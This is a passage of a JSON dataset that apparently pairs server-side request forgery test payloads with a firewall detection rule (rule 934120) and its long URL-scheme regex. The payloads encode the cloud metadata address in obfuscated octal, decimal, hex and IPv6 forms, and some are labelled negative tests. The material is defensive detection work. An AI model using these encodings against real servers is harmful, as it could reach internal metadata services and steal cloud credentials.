"method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotted octal with padding" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://169.254.43518/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, dotted, two bytes decimal, two bytes octal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://169.16689662/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, dotted, one byte decimal, three bytes octal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[::ffff:a9fe:a9fe]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, first 10 bytes compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[0:0:0:0:0:ffff:a9fe:a9fe]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPV6 Expanded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=[0:0:0:0:0:ffff:a9fe:a9fe]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPV6 Expanded - Negative tests" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=2852039166" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Dotless decimal - Negative tests" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=0x41414141A9FEA9FE" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Dotless hexadecimal with overflow - Negative tests" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=169.16689662" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Negative tests - IPv4, dotted, one byte decimal, three bytes octal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=[::ffff:a9fe:a9fe" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Negative tests - IPV6 Compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=[::ffff:a9fe:a9fe]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 